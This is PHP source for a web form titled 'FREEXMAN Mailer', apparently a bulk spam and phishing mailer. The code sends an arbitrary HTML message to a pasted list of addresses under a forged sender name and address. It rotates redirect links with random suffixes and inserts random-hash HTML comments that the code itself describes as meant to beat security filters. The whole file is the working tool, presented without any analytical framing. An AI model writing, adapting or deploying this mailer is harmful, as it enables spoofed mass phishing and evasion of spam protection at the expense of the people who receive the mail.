error_reporting(0);
$testa = $_POST['veio'];
if($testa != "") {
$redirectlist = array_unique(explode("\n",$_POST['redirectlist']));
$message = $_POST['message'];
$subject = $_POST['subject'];
$realname = $_POST['realname'];
$from = $_POST['from'];
$to = $_POST['emaillist'];
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html; charset=UTF-8\r\n";
$email = explode("\n", $to);
$headers .= "From: ".$realname." <".$from.">\r\n";
$message = stripslashes($message);
$i = 0;
$count = 1;
$redi = 0;
$countred = count($redirectlist);
while($email[$i]) {
if($redi >= $countred)
$redi = 0;
$redirect = $redirectlist[$redi].'/'.md5(rand(0,99999)+rand(0,9999));
$ok = "ok";
$messgb = "\r\n<!-- \r\n Here we go some texte here to fuck security ".md5(rand(0,99999)+rand(0,99999))." \r\n what do you think about it".md5(rand(0,99999)+rand(0,99999))."\r\n -->";
$messgb .= str_replace('[red]', $redirect, $message);
if(mail($email[$i], $subject, $messgb, $headers))
echo "* N?mero: $count ".$email[$i]." <font color=green>OK</font>
<hr>";
else
echo "* N?mero: $count ".$email[$i]." <font color=red>ERRO AO ENVIAR</font>
<hr>";
$i++;
$count++;
$redi++;
}
$count--;
if($ok == "ok")
echo "FINALIZO SUPERGERADOR";
}
-=FREEXMAN Mailer =-<title>-=FREEXMAN Mailer =-</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style>
body {
margin-left: 0;
margin-right: 0;
margin-top: 0;
margin-bottom: 0;
}
.titulo {
font-family: Arial, Helvetica, sans-serif;
font-size: 70px;
color: #000;
font-weight: bold;
}
.normal {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
color: #000000;
}
.form {
font-family: Arial, Helvetica, sans-serif;
font-size: 10px;
color: #333333;
background-color: #FFFFFF;
border: 1px dashed #666666;
}
.texto {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight: bold;
color: #000;
}
.alerta {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight: bold;
color: #990000;
font-size: 10px;
}
body,td,th {
color: #000;
}
</style>